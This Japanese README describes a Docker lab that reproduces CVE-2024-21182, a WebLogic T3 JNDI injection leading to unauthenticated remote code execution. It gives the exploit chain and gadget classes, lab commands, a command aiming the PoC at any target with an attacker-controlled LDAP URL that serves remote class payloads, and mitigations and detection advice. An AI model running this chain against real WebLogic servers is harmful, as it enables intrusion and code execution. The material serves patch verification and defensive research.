CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDIインジェクション → RCE (ラボ)

Oracle WebLogic ServerのOpaqueReference JNDIインジェクション脆弱性ファミリー（CVE-2024-21182、CVE-2023-21839のパッチバイパス）を再現・検証し、認証なしのリモートコード実行に変換する、自己完結型のワンコマンドDockerラボです。

⚠️ 許可されたセキュリティ研究、教育、パッチ検証のみを目的としています。 免責事項を参照してください。このラボまたは自分が所有するシステムに対してのみ実行してください。

これが示すもの

CVE-2024-21182は、Oracle WebLogic ServerのCoreコンポーネントにおける認証不要の脆弱性で、T3/IIOPプロトコル（デフォルトポート7001）を介してアクセス可能です。攻撃者はサーバーのJNDIツリーに細工された「参照」オブジェクトをバインドし、攻撃者が制御するURLに対するサーバーサイドのJNDIルックアップをトリガーします。これは、RCEにエスカレーションする古典的なJNDIインジェクションです。

根本原因

WebLogicの参照オブジェクトは、lookup()中にサーバーサイドでObjectFactoryにより解決され、攻撃者から提供されたURLに対してネストされたJNDIルックアップを実行します。

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← 攻撃者制御、サーバーサイド

CVE-2023-21839は、weblogic.jndi.internal.ForeignOpaqueReferenceを介してこれを達成していましたが、Oracleはその後これをガードしました。CVE-2024-21182はそのガードをバイパスし、weblogic.ejb.container.internal.AggregatableOpaqueReferenceを通じて同じ外部ルックアップに到達します。このクラスのプライベートフィールドreferentは、リフレクションでweblogic.application.naming.MessageDestinationReferenceに設定されます。

⚠️ 重要: ラボイメージとCVEリストのバージョンの違い

このラボでは**vulhub/weblogic:12.2.1.3-2018（WebLogic 12.2.1.3、バンドルJDK 1.8.0_151**）を使用しています。これは、自由に再配布可能な脆弱性のあるWebLogicイメージがこれのみであるためです。CVE-2024-21182が正式にリストしているバージョン（12.2.1.4.0 / 14.1.1.0.0）はOracleライセンスが必要であり、ここに公開することはできません。

正直に述べた結果:

• このラボは、CVE-2024-21182で使用された正確なガジェットクラス（AggregatableOpaqueReference + MessageDestinationReference）を使って、OpaqueReference JNDIインジェクション→RCEの脆弱性クラスを忠実に再現します。
• パッチバイパス自体を証明するものではありません。12.2.1.3はCVE-2023-21839のブラックリストより前のバージョンであるため、このイメージにはバイパスすべきパッチが存在しません。バイパスを具体的に示すには、2024年10月CPU直前までパッチが適用されたライセンス版の12.2.1.4ビルドが必要です。
• RCEの部分: ここでは、JDK 1.8.0_151が8u191より前であり、com.sun.jndi.ldap.object.trustURLCodebase=true（リモートコードベースのクラスローディング）がデフォルトであるため、動作します。最新のJDKでは、インジェクション自体は発生します（SSRF）が、RCEを達成するにはリモートコードベースではなく、WebLogicクラスパス上にすでに存在するガジェットが必要です。

クイックスタート

要件: Docker + Docker Compose v2。約3GBのイメージプル。Apple Siliconではイメージはlinux/amd64エミュレーションで実行されます（コールドブートが遅く、2〜5分かかります）。

git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # 開始: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # 起動を待ち、エクスプロイトを実行し、PASS/FAILを表示

./validate.shの期待される出力末尾:

[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

後片付け:

docker compose down

動作の仕組み (各構成要素)

                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`

• poc/CVE_2024_21182.java — T3クライアント。悪意のあるAggregatableOpaqueReferenceを構築し、bind()でバインドした後、lookup()でサーバーサイドの解決をトリガーします。パラメータ化: <t3-host:port> <ldap-url>。これはvalidate.shによってWebLogicコンテナ内部でコンパイルされます。ガジェットクラスはWebLogicの完全なモジュールセット（再配布可能なシンクライアントには含まれない）に存在するため、ここではOracle jarは出荷されません。
• exploit/ldap_server.py — 最小限の悪意のあるLDAPサーバー。JNDI Referenceを返し、ファクトリクラスをホストするHTTPサーバーも実行します。attackerコンテナ内で実行され、サービス名attackerでWebLogicから到達可能です。
• exploit/Exploit.java / Exploit.class — ペイロードファクトリ（Java 8バイトコード）。静的初期化子がid / を実行し、その出力を被害者内部のに書き込みます。設計上無害です。コマンドを変更するには、編集してを実行してください。

ClassCastException (Exploit cannot be cast to ObjectFactory)が表示されますが、これは予想通りで外観上の問題です。静的初期化子（ペイロード）がすでに実行された後に発生します。

パッチ適用済み/実際のターゲットでの検証

PoCをテストを許可された任意のT3エンドポイントに向けます:

# WebLogicシンクライアントを備えたホストから、またはvalidate.shを適応:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil

• インジェクションは発生（アウトバウンドLDAPを確認）するが、RCEは発生しない → JDKがtrustURLCodebase=falseに設定されています。SSRFは依然として発生し、クラスパス上のガジェットを介してRCEが可能である可能性があります。
• 何も発生しない → OpaqueReferenceのパスがパッチされています（2024年10月CPU適用済み）。

緩和策

• パッチ — Oracleの2024年10月Critical Patch Updateを適用します。
• ネットワーク — WebLogic接続フィルタ（weblogic.security.net.ConnectionFilterImpl）とホストファイアウォールを使用して、T3/IIOP（7001）を制限します。
• JDK — com.sun.jndi.ldap.object.trustURLCodebase=false（現在のJDKではデフォルト）を維持します。これにより、リモートコードベースのRCE部分が無効になります（インジェクション部分は無効になりません）。
• 検出 — WebLogic JVMから許可リストにないホストへのアウトバウンドLDAP/RMI/DNS。WebLogicプロセスの予期しない子プロセス。*OpaqueReferenceタイプのT3 bind。

クレジットと参考文献

• 公開PoCガジェット: k4it0k1d/CVE-2024-21182
• 脆弱性イメージ: vulhub (weblogic/CVE-2023-21839)
• 背景: Oracle CPUアドバイザリ; CVE-2023-21839の研究（WebLogic OpaqueReferenceファミリー）

免責事項

このプロジェクトは、許可されたセキュリティテスト、防御的検証、教育のために公開されています。脆弱なソフトウェアは隔離されたDockerラボで実行されます。自分が所有していない、またはテストする明示的な許可がないシステムに対してこれらの技術を使用しないでください。著者らは誤用に対する一切の責任を負いません。LICENSE を参照してください。